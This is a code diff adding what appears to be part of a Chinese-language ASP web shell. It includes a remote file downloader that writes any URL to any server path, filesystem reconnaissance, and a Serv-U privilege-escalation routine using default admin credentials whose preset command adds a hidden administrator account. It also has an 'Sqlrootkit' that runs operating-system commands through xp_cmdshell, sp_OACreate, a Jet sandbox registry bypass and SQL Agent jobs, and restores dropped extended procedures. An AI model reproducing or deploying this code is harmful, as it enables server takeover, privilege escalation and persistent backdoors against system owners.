+        Dim Http, theUrl, thePath, stream, fileName, overWrite
+        theUrl = Request("theUrl")
+        thePath = Request("thePath")
+        overWrite = Request("overWrite")
+        Set stream = Server.CreateObject("adodb.stream")
+        Set Http = Server.CreateObject("MSXML2.XMLHTTP")
+        
+        If overWrite <> 2 Then
+            overWrite = 1
+        End If
+        
+        Http.Open "GET", theUrl, False
+        Http.Send()
+        If Http.ReadyState <> 4 Then 
+
+        End If
+        
+        With stream
+            .Type = 1
+            .Mode = 3
+            .Open
+            .Write Http.ResponseBody
+            .Position = 0
+            .SaveToFile thePath, overWrite
+            If Err.Number = 3004 Then
+                Err.Clear
+                fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
+                If fileName = "" Then
+                    fileName = "index.htm.txt"
+                End If
+                thePath = thePath & "\" & fileName
+                .SaveToFile thePath, overWrite
+            End If
+            .Close
+        End With
+        chkErr(Err)
+        
+        Set Http = Nothing
+        Set Stream = Nothing
+
+        If isDebugMode = False Then
+            On Error Resume Next
+        End If
+
+End Function
+
+Select Case Action
+Case "MainMenu":MainMenu()
+case "ScanPort":ScanPort()
+Case "getTerminalInfo":getTerminalInfo()
+Case "PageAddToMdb":PageAddToMdb()
+
+Case "Servu"
+SUaction=request("SUaction")
+if not isnumeric(SUaction) then response.end
+user=trim(request("u"))
+pass=trim(request("p"))
+port=trim(request("port"))
+cmd=trim(request("c"))
+f=trim(request("f"))
+if f="" then
+f=gpath()
+else
+f=left(f,2)
+end if
+ftpport=65500
+timeout=3
+loginuser="User "&user&vbCrLf
+loginpass="Pass "&pass&vbCrLf
+deldomain="-DELETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&ftpport&vbCrLf
+mt="SITE MAINTENANCE"&vbCrLf
+newdomain="-SETDOMAIN"&vbCrLf&"-Domain=goldsun|0.0.0.0|"&ftpport&"|-1|1|0"&vbCrLf&"-TZOEnable=0"&vbCrLf&" TZOKey="&vbCrLf
+newuser="-SETUSERSETUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&ftpport&vbCrLf&"-User=go"&vbCrLf&"-Password=od"&vbCrLf&_
+"-HomeDir=c:\\"&vbCrLf&"-LoginMesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPaths=1"&vbCrLf&_
+"-NeedSecure=0"&vbCrLf&"-HideHidden=0"&vbCrLf&"-AlwaysAllowLogin=0"&vbCrLf&"-ChangePassword=0"&vbCrLf&_
+"-QuotaEnable=0"&vbCrLf&"-MaxUsersLoginPerIP=-1"&vbCrLf&"-SpeedLimitUp=0"&vbCrLf&"-SpeedLimitDown=0"&vbCrLf&_
+"-MaxNrUsers=-1"&vbCrLf&"-IdleTimeOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_
+"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_
+"-Maintenance=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access=c:\\|RWAMELCDP"&vbCrLf
+quit="QUIT"&vbCrLf
+newuser=replace(newuser,"c:",f)
+select case SUaction
+case 1
+set a=Server.CreateObject(Sot(13,0))
+a.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s1",True, "", ""
+a.send loginuser&loginpass&mt&deldomain&newdomain&newuser&quit
+set session("a")=a
+o"<form method='post' name='goldsun'><input name='u' type='hidden' id='u' value='"&user&"'></td><input name='p' type='hidden' id='p' value='"&pass&"'></td><input name='port' type='hidden' id='port' value='"&port&"'></td><input name='c' type='hidden' id='c' value='"&cmd&"' size='50'><input name='f' type='hidden' id='f' value='"&f&"' size='50'><input name='SUaction' type='hidden' id='SUaction' value='2'></form><script language='javascript'>document.write('<center>正在连接 127.0.0.1:"&port&",使用用户名: "&user&",口令："&pass&"...<center>');setTimeout('document.all.goldsun.submit();',4000);</script>"
+case 2
+set b=Server.CreateObject(Sot(13,0))
+b.open "GET", "http://127.0.0.1:"&ftpport&"/goldsun/upadmin/s2", True, "", ""
+b.send "User go"&vbCrLf&"pass od"&vbCrLf&"site exec "&cmd&vbCrLf&quit
+set session("b")=b
+o"<form method='post' name='goldsun'><input name='u' type='hidden' id='u' value='"&user&"'></td><input name='p' type='hidden' id='p' value='"&pass&"'></td><input name='port' type='hidden' id='port' value='"&port&"'></td><input name='c' type='hidden' id='c' value='"&cmd&"' size='50'><input name='f' type='hidden' id='f' value='"&f&"' size='50'><input name='SUaction' type='hidden' id='SUaction' value='3'></form><script language='javascript'>document.write('<br><center>正在提升权限,请等待...,<center>');setTimeout(""document.all.goldsun.submit();"",4000);</script>"
+case 3
+set c=Server.CreateObject(Sot(13,0))
+c.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s3", True, "", ""
+c.send loginuser&loginpass&mt&deldomain&quit
+set session("c")=c
+o"<center>成功与否看人品,提权完毕,已执行了命令：<br><font color=red>"&cmd&"</font><br><br>"
+o"<input type=button value=' 返回继续 ' onClick=""location.href='?Action=Servu';"">"
+o"</center>"
+case else
+on error resume next
+set a=session("a"):set b=session("b"):set c=session("c"):a.abort:Set a=Nothing:b.abort:Set b=Nothing:c.abort:Set c=Nothing
+o"<center><br><form method='post' name='goldsun'><table width='500' height='163'><tr align='center' valign='middle'><td colspan='2' id=s><font face=webdings>8</font> <B>Serv-U 提升权限 ASP版</b></td></tr><tr align='center' valign='middle'><td width='100' id=d>用户名：</td><td width='379' id=d><input name='u' type='text' id='u' value='LocalAdministrator'></td></tr><tr align='center' valign='middle'><td id=d>口　令：</td><td id=d><input name='p' type='text' id='p' value='#l@$ak#.lk;0@P'></td></tr><tr align='center' valign='middle'><td id=d>端　口：</td><td id=d><input name='port' type='text' id='port' value='43958'></td></tr><tr align='center' valign='middle'><td id=d>路　径：</td><td id=d><input name='f' type='text' id='f' value='"&f&"'></td></tr><tr align='center' valign='middle'><td id=d>命　令：</td><td id=d><input name='c' type='text' id='c' value='cmd /c net user admin$ admin /add&net localgroup administrators admin$ /add' size='55'></td></tr><tr align='center' valign='middle'><td colspan='2' id=d><input type='submit' name='Submit' value='Just Go'>&nbsp;<input type='reset' name='Submit2' value='Reset'><input name='SUaction' type='hidden' id='action' value='1'></td></tr></table></form></center>"
+end select
+function Gpath()
+on error resume next
+err.clear:set f=Server.CreateObject(Sot(0,0))
+if err.number>0 then:gpath="c:":exit function:end if:gpath=f.GetSpecialFolder(0):gpath=lcase(left(gpath,2)):set f=nothing
+end function
+
+Sub ScanDriveForm() '扫描磁盘信息
+ Dim FSO,DriveB
+	Set FSO = Server.Createobject("Scripting.FileSystemObject")
+	
+o "<table width='800' align='center'>"
+o "<br><TR><TD height=22 colspan=5 align=center id=s><b>磁盘/系统文件夹信息</b></TD></TR>"
+
+ For Each DriveB in FSO.Drives
+o "<TR align=middle ><FORM action=?Action=ScanDrive&Drive="&DriveB.DriveLetter&" method=Post>"
+
+o "<TD height='20' width=25"&chr(37)&" id=d><B>盘符</B></TD>"	
+o "<TD width=15"&chr(37)&" id=d>"&DriveB.DriveLetter&":</TD> "
+o "<TD width=20"&chr(37)&" id=d><B>类型</B></TD>"
+o "<TD width=20"&chr(37)&" id=d>"
+
+	 Select Case DriveB.DriveType
+	 Case 1: o "可移动"
+	 Case 2: o "本地硬盘"
+	 Case 3: o "网络磁盘"
+	 Case 4: o "CD-ROM"
+	 Case 5: o "RAM磁盘"
+	 Case else: o "未知类型"
+	 End Select
+	
+o "</TD><TD id=d><INPUT type=submit value='Generate reports'></TD></FORM></TR>"
+Next
+o "<TR><FORM action=?Action=ScFolder&Folder="&FSO.GetSpecialFolder(0)&" method=Post>"
+o "<TD height='20'align=middle id=d><B>Windows文件夹</B></TD>"
+o "<TD colspan=3 id=d>"&FSO.GetSpecialFolder(0)&"</TD>"
+o "<TD align=middle id=d><INPUT type=submit value='Generate reports'></TD></FORM></TR>"
+o "<TR><FORM action=?Action=ScFolder&Folder="&FSO.GetSpecialFolder(1)&" method=Post>"
+o "<TD height='20' align=middle id=d><B>System32文件夹</B></TD>"
+o "<TD colspan=3 id=d>"&FSO.GetSpecialFolder(1)&"</TD>"
+o "<TD height='20' align=middle id=d><INPUT type=submit value='Generate reports'></TD></FORM></TR>"
+o "<TR> <FORM action=?Action=ScFolder&Folder="&FSO.GetSpecialFolder(2)&" method=Post>"
+o "<TD height='20' align=middle id=d><B>系统临时文件夹</B></TD>"
+o "<TD colspan=3 id=d>"&FSO.GetSpecialFolder(2)&"</TD>"
+o "<TD align=middle id=d><INPUT type=submit value='Generate reports'></TD></FORM></TR></TABLE><table width='800' align='center'><BR><DIV><b>当前网站绝对路径:"&Server.MapPath("/")&"</b><FORM Action=?Action=ScFolder method=Post><b id=x>Queries the specified folder：</b>"
+o "<INPUT type=text name=Folder size=39><INPUT type=submit value='Generate reports'>　<b id=x>Example F:\haifan\</b></FORM><DIV></table>"
+	Set FSO=Nothing
+End Sub
+
+Sub ScanDrive(Drive) 
+ Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D
+	If Drive <> "" Then
+	 Set FSO = Server.Createobject("Scripting.FileSystemObject")
+	Set TestDrive = FSO.GetDrive(Drive)
+	If TestDrive.IsReady Then
+	 Temp_Str = "<LI>磁盘分区类型：" & Red(TestDrive.FileSystem) & "<LI>磁盘序列号：" & Red(TestDrive.SerialNumber) & "<LI>磁盘共享名：" & Red(TestDrive.ShareName) & "<LI>磁盘总容量：" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "<LI>磁盘卷名：" & Red(TestDrive.VolumeName) & "<LI>磁盘根目录:" & ScReWr((Drive & ":\"))
+	Set BaseFolder = TestDrive.RootFolder
+	Set TempFolders = BaseFolder.SubFolders
+	For Each D in TempFolders
+	 Temp_Str = Temp_Str & "<LI>文件夹：" & ScReWr(D)
+	Next
+	Set TempFolder = Nothing
+	Set BaseFolder = Nothing
+	 Else
+	 Temp_Str = Temp_Str & "<LI>磁盘根目录:" & Red("不可读:(")
+	Dim TempFolderList,t:t=0
+	Temp_Str = Temp_Str & "<LI>" & Red("穷举目录测试：")
+	TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot")
+	For i = 0 to Ubound(TempFolderList)
+	 If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then
+	 t = t+1
+	Temp_Str = Temp_Str & "<LI>发现文件夹：" & ScReWr(Drive & ":\" & TempFolderList(i))
+	 End if
+	 Next
+	If t=0 then Temp_Str = Temp_Str & "<LI>已穷举" & Drive & "盘根目录，但未有发现:("
+	 End if
+	Set TestDrive = Nothing
+	 Set FSO = Nothing
+	Temp_Str = Temp_Str & "<br><br>注意：不要多次刷新本页面，否则在只写文件夹会留下大量垃圾文件!"
+	Message Drive & ":磁盘信息",Temp_Str,1
+	End if
+End Sub
+
+Sub ScFolder(folder) 
+	Dim FSO,OFolder,TempFolder,Scmsg,S
+	Set FSO = Server.Createobject("Scripting.FileSystemObject")
+	If FSO.FolderExists(folder) Then
+	 Set OFolder = FSO.GetFolder(folder)
+	Set TempFolders = OFolder.SubFolders
+	Scmsg = "<LI>指定文件夹根目录：" & ScReWr(folder)
+	For Each S in TempFolders
+	 Scmsg = Scmsg&"<LI>文件夹：" & ScReWr(S) 
+	Next
+	Set TempFolders = Nothing
+	Set OFolder = Nothing
+	Else
+	 Scmsg = Scmsg & "<LI>文件夹：" & Red(folder & "不存在或无读权限!")
+	End if
+	Scmsg = Scmsg & "<br><br>注意：不要多次刷新本页面，否则在只写文件夹会留下大量垃圾文件!"
+	Set FSO = Nothing
+	Message "文件夹信息",Scmsg,1
+End Sub
+Function Sqlrootkit()
+IF SESSION("LOGIN")="" THEN
+                           RESPONSE.WRITE "<CENTER><FONT COLOR=RED>没有登陆</FONT></CENTER><BR>"
+			   ELSE RESPONSE.WRITE "<CENTER><FONT COLOR=RED>已经登陆</FONT></CENTER><BR>"
+END IF
+                           RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK>退出登陆</FONT></A></CENTER><BR>"
+
+IF REQUEST("SQLAAA")="LOGIN" THEN
+		       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & REQUEST.FORM("SERVER") & "," & REQUEST.FORM("PORT") & ";PASSWORD=" & REQUEST.FORM("PASS") & ";UID=" & REQUEST.FORM("NAME")
+                       IF ERR.NUMBER=-2147467259 THEN 
+                       RESPONSE.WRITE "<FONT COLOR=RED>数据源连接错误，请检查！</FONT>"
+                       RESPONSE.END
+                       ELSEIF ERR.NUMBER=-2147217843 THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>用户名密码错误错误，请检查！</FONT>"
+                       RESPONSE.END
+                       ELSEIF ERR.NUMBER=0 THEN
+                       STRQUERY="SELECT @@VERSION"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
+		       IF INSTR(RECRESULT(0),"NT 5.0") THEN
+		       RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2000系统</FONT><BR>"
+                       SESSION("SYSTEM")="2000"
+                       ELSEIF INSTR(RECRESULT(0),"NT 5.1")  THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS XP系统</FONT><BR>"
+                       SESSION("SYSTEM")="XP"
+                       ELSEIF INSTR(RECRESULT(0),"NT 5.2")  THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2003系统</FONT><BR>"
+                       SESSION("SYSTEM")="2003"
+                       ELSE
+                       RESPONSE.WRITE "<FONT COLOR=RED>其他系统</FONT><BR>"
+                       SESSION("SYSTEM")="NO"
+                       END IF
+                       STRQUERY="SELECT IS_SRVROLEMEMBER('SYSADMIN')"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
+                       IF RECRESULT(0)=1 THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>恭喜！SQL SERVER最高权限</FONT><BR>"
+                       SESSION("PRI")=1
+                       ELSE
+                       RESPONSE.WRITE "<FONT COLOR=RED>郁闷，权限不够估计不能执行命令！</FONT><BR>"
+                       SESSION("PRI")=0
+                       END IF              
+		       SESSION("LOGIN")="YES"
+		       SESSION("NAME")=REQUEST.FORM("NAME")
+		       SESSION("PASS")=REQUEST.FORM("PASS")
+		       SESSION("SERVER")=REQUEST.FORM("SERVER")
+		       SESSION("PORT")=REQUEST.FORM("PORT")
+                       END IF
+
+ELSEIF REQUEST("SQLAAA")="TEST"  THEN
+                       IF SESSION("LOGIN")<>"" THEN
+                       IF SESSION("SYSTEM")="2000" THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2000系统</FONT><BR>"
+                       ELSEIF SESSION("SYSTEM")="XP" THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS XP系统</FONT><BR>"
+                       ELSEIF SESSION("SYSTEM")="2003" THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2003系统</FONT><BR>"
+                       ELSE
+                       RESPONSE.WRITE "<FONT COLOR=RED>其他操作系统</FONT><BR>"
+                       END IF
+                       IF SESSION("PRI")=1 THEN
+                       RESPONSE.WRITE "<FONT COLOR=RED>恭喜！SQL SERVER最高权限</FONT><BR>"
+                       ELSE 
+                       RESPONSE.WRITE "<FONT COLOR=RED>郁闷，权限不够估计不能执行命令！</FONT><BR>"
+                       END IF
+		       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")        
+
+                       STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_CMDSHELL'"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) 
+		       IF RECRESULT(0) THEN
+		       SESSION("XP_CMDSHELL")=1 
+		       RESPONSE.WRITE "<FONT COLOR=RED>XP_CMDSHELL............. 存在!</FONT>"
+                       ELSE
+		       SESSION("XP_CMDSHELL")=0 
+		       RESPONSE.WRITE "<FONT COLOR=RED>XP_CMDSHELL............. 不存在!</FONT>"
+                       END IF
+		       STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='SP_OACREATE'"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) 
+		       IF RECRESULT(0) THEN 
+		       RESPONSE.WRITE "<BR><FONT COLOR=RED>SP_OACREATE............. 存在!</FONT>"
+		       SESSION("SP_OACREATE")=1
+                       ELSE 
+		       RESPONSE.WRITE "<BR><FONT COLOR=RED>SP_OACREATE............. 不存在!</FONT>"
+                       SESSION("SP_OACREATE")=0
+                       END IF
+		       STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_REGWRITE'"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) 
+		       IF RECRESULT(0) THEN 
+		       RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_REGWRITE............. 存在!</FONT>"
+		       SESSION("XP_REGWRITE")=1
+                       ELSE 
+		       RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_REGWRITE............. 不存在!</FONT>"
+		       SESSION("XP_REGWRITE")=0
+                       END IF
+		       STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_SERVICECONTROL'"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) 
+		       IF RECRESULT(0) THEN 
+		       RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_SERVICECONTROL 存在!</FONT>"
+		       SESSION("XP_SERVICECONTROL")=1
+                       ELSE 
+		       RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_SERVICECONTROL 不存在!</FONT>"
+		       SESSION("XP_SERVICECONTROL")=0
+                       END IF
+                       ELSE 
+                       RESPONSE.WRITE "<SCRIPT>ALERT('操作超时，重新登陆！')</SCRIPT>"
+                       RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK>登陆超时</FONT>"
+                       RESPONSE.END
+                       END IF 
+
+ELSEIF REQUEST("SQLAAA")="CMD" THEN
+                       IF SESSION("LOGIN")<>"" THEN
+                       IF SESSION("PRI")=1 THEN
+		       IF REQUEST("TOOL")="XP_CMDSHELL" THEN
+		       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
+		       IF REQUEST.FORM("CMD")<>"" THEN 
+  		       STRQUERY = "EXEC MASTER.DBO.XP_CMDSHELL '" & REQUEST.FORM("CMD") & "'" 
+                       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) 
+                       IF NOT RECRESULT.EOF THEN 
+                       DO WHILE NOT RECRESULT.EOF 
+                       STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) 
+                       RECRESULT.MOVENEXT 
+                       LOOP
+		       END IF
+		       SET RECRESULT = NOTHING
+                       RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
+                       RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"
+                       RESPONSE.WRITE REQUEST.FORM("CMD") 
+                       RESPONSE.WRITE STRRESULT
+                       RESPONSE.WRITE "</TEXTAREA>"
+		       END IF 
+		       		       
+                       ELSEIF REQUEST("TOOL")="SP_OACREATE" THEN 
+		       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
+		       IF REQUEST.FORM("CMD")<>"" THEN 
+  		       STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);USE MASTER DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C "&REQUEST("CMD")&" > 8617.TMP',0,TRUE;BULK INSERT [JNC] FROM '8617.TMP' WITH (KEEPNULLS);"
+		       ADOCONN.EXECUTE(STRQUERY)
+                       STRQUERY = "SELECT * FROM JNC"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
+		       IF NOT RECRESULT.EOF THEN 
+                       DO WHILE NOT RECRESULT.EOF 
+                       STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) 
+                       RECRESULT.MOVENEXT 
+                       LOOP 
+                       END IF
+		       SET RECRESULT = NOTHING
+                       RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
+		       RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"	
+                       RESPONSE.WRITE REQUEST.FORM("CMD") 
+                       RESPONSE.WRITE STRRESULT
+                       RESPONSE.WRITE "</TEXTAREA>"
+		       STRQUERY = "DROP TABLE [JNC];DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C DEL 8617.TMP'"
+ 		       ADOCONN.EXECUTE(STRQUERY)
+		       END IF
+
+                       ELSEIF REQUEST("TOOL")="XP_REGWRITE" THEN
+                       IF SESSION("SYSTEM")="2000" THEN
+                       PATH="C:\WINNT\SYSTEM32\IAS\IAS.MDB"
+                       ELSE
+                       PATH="C:\WINDOWS\SYSTEM32\IAS\IAS.MDB"
+                       END IF
+		       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
+		       IF REQUEST.FORM("CMD")<>"" THEN
+		       CMD=CHR(34)&"CMD.EXE /C "&REQUEST.FORM("CMD")&" > 8617.TMP"&CHR(34)
+		       STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',0;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CMD&")');"
+                       ADOCONN.EXECUTE(STRQUERY)
+		       STRQUERY = "SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C COPY 8617.TMP JNC.TMP"&CHR(34)&")');BULK INSERT [JNC] FROM 'JNC.TMP' WITH (KEEPNULLS);"
+		       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
+		       STRQUERY="SELECT * FROM [JNC];"
+                       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
+		       IF NOT RECRESULT.EOF THEN 
+                       DO WHILE NOT RECRESULT.EOF 
+                       STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) 
+                       RECRESULT.MOVENEXT 
+                       LOOP 
+                       END IF
+                       SET RECRESULT = NOTHING
+                       RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
+                       RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"
+                       RESPONSE.WRITE REQUEST.FORM("CMD") 
+                       RESPONSE.WRITE STRRESULT
+                       RESPONSE.WRITE "</TEXTAREA>"
+		       STRQUERY = "DROP TABLE [JNC];EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',1;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C DEL 8617.TMP&&DEL JNC.TMP"&CHR(34)&")');"
+		       ADOCONN.EXECUTE(STRQUERY)
+		       END IF
+
+		       ELSEIF REQUEST("TOOL")="SQLSERVERAGENT" THEN
+		       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
+
+		       IF REQUEST.FORM("CMD")<>"" THEN
+                       IF SESSION("SQLSERVERAGENT")=0 THEN
+                       STRQUERY = "EXEC MASTER.DBO.XP_SERVICECONTROL 'START','SQLSERVERAGENT';"
+                       ADOCONN.EXECUTE(STRQUERY)
+                       SESSION("SQLSERVERAGENT")=1
+                       END IF
+
+		       STRQUERY = "USE MSDB CREATE TABLE [JNCSQL](RESULTTXT NVARCHAR(1024) NULL) EXEC SP_DELETE_JOB NULL,'X' EXEC SP_ADD_JOB 'X' EXEC SP_ADD_JOBSTEP NULL,'X',NULL,'1','CMDEXEC','CMD /C "&REQUEST.FORM("CMD")&"' EXEC SP_ADD_JOBSERVER NULL,'X',@@SERVERNAME EXEC SP_START_JOB 'X';"
+                       ADOCONN.EXECUTE(STRQUERY)
+                       ADOCONN.EXECUTE(STRQUERY)
+                       ADOCONN.EXECUTE(STRQUERY)
+                    
+                       RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
+                       RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"
+                       RESPONSE.WRITE REQUEST.FORM("CMD") 
+                       RESPONSE.WRITE VBCRF
+                       RESPONSE.WRITE "此扩展无回显，建议通过重定向查看命令结果"
+                       RESPONSE.WRITE "</TEXTAREA>"
+		       STRQUERY = "USE MSDB DROP TABLE [JNCSQL];"
+                       ADOCONN.EXECUTE(STRQUERY)
+                       END IF
+                       ELSEIF REQUEST("TOOL")="" THEN 
+                       RESPONSE.WRITE "<SCRIPT>ALERT('选择你要使用的扩展')</SCRIPT>"
+                       END IF
+                       ELSE
+                       RESPONSE.WRITE "<SCRIPT>ALERT('权限不够哦！')</SCRIPT>"
+                       END IF
+                       ELSE 
+                       RESPONSE.WRITE "<SCRIPT>ALERT('操作超时，重新登陆！')</SCRIPT>"
+                       RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK>登陆超时</FONT>"
+                       RESPONSE.END
+                       END IF
+
+ELSEIF REQUEST("SQLAAA")="RESUME" THEN
+                       IF SESSION("LOGIN")<>"" THEN
+                       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
+                       IF SESSION("XP_CMDSHELL")=0 THEN
+                       STRQUERY="DBCC ADDEXTENDEDPROC ('XP_CMDSHELL','XPLOG70.DLL')"
+		       ADOCONN.EXECUTE(STRQUERY)	
+                       RESPONSE.WRITE "<FONT COLOR=RED>已经尝试恢复XP_CMDSHELL</FONT>"
+                       ELSEIF SESSION("SP_OACREATE")=0 THEN
+		       STRQUERY="DBCC ADDEXTENDEDPROC ('SP_OACREATE','ODSOLE70.DLL')"
+		       ADOCONN.EXECUTE(STRQUERY)	
+                       RESPONSE.WRITE "<FONT COLOR=RED>已经尝试恢复SP_OACREATE</FONT>"
+		       ELSEIF SESSION("XP_REGWRITE")=0 THEN
+		       STRQUERY="DBCC ADDEXTENDEDPROC ('XP_REGWRITE','XPSTAR.DLL')"
+		       ADOCONN.EXECUTE(STRQUERY)	
+                       RESPONSE.WRITE "<FONT COLOR=RED>已经尝试恢复XP_REGWRITE</FONT>"	
+		       ELSE RESPONSE.WRITE "<FONT COLOR=RED>恭喜！组件齐全</FONT>"	
+                       END IF
+                       ELSE 
+                       RESPONSE.WRITE "<SCRIPT>ALERT('操作超时，重新登陆！')</SCRIPT>"
+                       RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK>登陆超时</FONT>"
+                       RESPONSE.END
+                       END IF 	
+                                
+ELSEIF REQUEST("SQLAAA")="SQL" THEN
+                       IF SESSION("LOGIN")<>"" THEN
+		       IF REQUEST.FORM("SQL")<>"" THEN
+                       SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
+ 		       ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
+                       STRQUERY=REQUEST.FORM("SQL")
+                       SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) 
+                       IF NOT RECRESULT.EOF THEN 
+                       DO WHILE NOT RECRESULT.EOF 
+                       STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) 
+                       RECRESULT.MOVENEXT 
+                       LOOP
+		       END IF
+		       SET RECRESULT = NOTHING
